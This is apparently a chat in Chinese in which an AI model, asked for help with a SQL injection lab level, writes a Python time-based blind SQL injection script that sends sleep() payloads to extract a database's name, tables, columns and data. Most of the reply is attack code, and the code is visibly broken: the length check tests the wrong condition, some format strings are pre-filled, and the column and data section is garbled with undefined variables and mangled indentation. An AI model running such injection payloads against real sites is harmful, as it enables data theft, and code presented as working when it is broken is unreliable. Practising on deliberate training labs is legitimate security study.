能帮我写一个Python程序，基于sql-lab第九关的时间盲注，要能够获取数据库名，表名，列名和数据的。

当然可以帮你写一个基于时间盲注的Python程序，获取数据库名，表名，列名和数据。以下是示例代码：

import requests
import string

# 数据库名长度
db_name_length = 0

# 数据库名
db_name = ''

# 表名列表
table_names = []

# 列名列表
column_names = []

# 数据列表
data_list = []

# SQL注入语句的前缀和后缀
sql_prefix = "1' and if((select ascii(substring(database(),{},1)))={},sleep(3),1)-- -"
sql_suffix = ''

# 发送请求的函数
def make_request(payload):
    url = "http://your-ip/sql-lab/my-query"
    data = {
        'query': payload,
        'submit': 'Submit Query'
    }
    headers = {
        'Cookie': 'session=your-session-id'
    }
    response = requests.post(url, data=data, headers=headers)
    return response.elapsed.total_seconds()

# 获取数据库名长度
for i in range(1, 100):
    payload = sql_prefix.format(i, 97)
    if make_request(payload) >= 3:
        db_name_length = i
        break

# 获取数据库名
for i in range(1, db_name_length + 1):
    for j in string.printable:
        payload = sql_prefix.format(i, ord(j))
        if make_request(payload) >= 3:
            db_name += j
            break

# 获取表名列表
payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 0)
if make_request(payload) >= 3:
    table_count_payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 1)
    table_count = 0
    for i in range(1, 100):
        payload = table_count_payload.format(i)
        if make_request(payload) >= 3:
            table_count = i
            break
    for i in range(table_count):
        table_payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(1, db_name, i, 0)
        table_name_length = 0
        for j in range(1, 100):
            payload = table_payload.format(j)
            if make_request(payload) >= 3:
                table_name_length = j
                break
        table_name = ''
        for j in range(1, table_name_length + 1):
            for k in string.printable:
                payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(j, db_name, i, ord(k))
                if make_request(payload) >= 3:
                    table_name += k
                    break
        table_names.append(table_name)

# 获取列名列表和数据列表
for table_name in table_names:

                data_count = 0
                for j in range(1, 100):
                    payload = data_count_payload.format(j)

                            if make_request(payload) >= 3:
                                data_length = k
                                break
                        data_value = ''

# 打印结果
print('Database name: {}'.format(db_name))
print('Table names: {}'.format(table_names))
print('Column names: {}'.format(column_names))
print('Data: {}'.format(data_list))

需要修改的地方：

1. 将 `your-ip` 替换成 sql-lab 的 IP 地址
2. 将 `your-session-id` 替换成你的 sql-lab 的 session ID

注意：这个程序只适用于 sql-lab 第九关的时间盲注。如果你要用于其他情况，请适当修改代码。
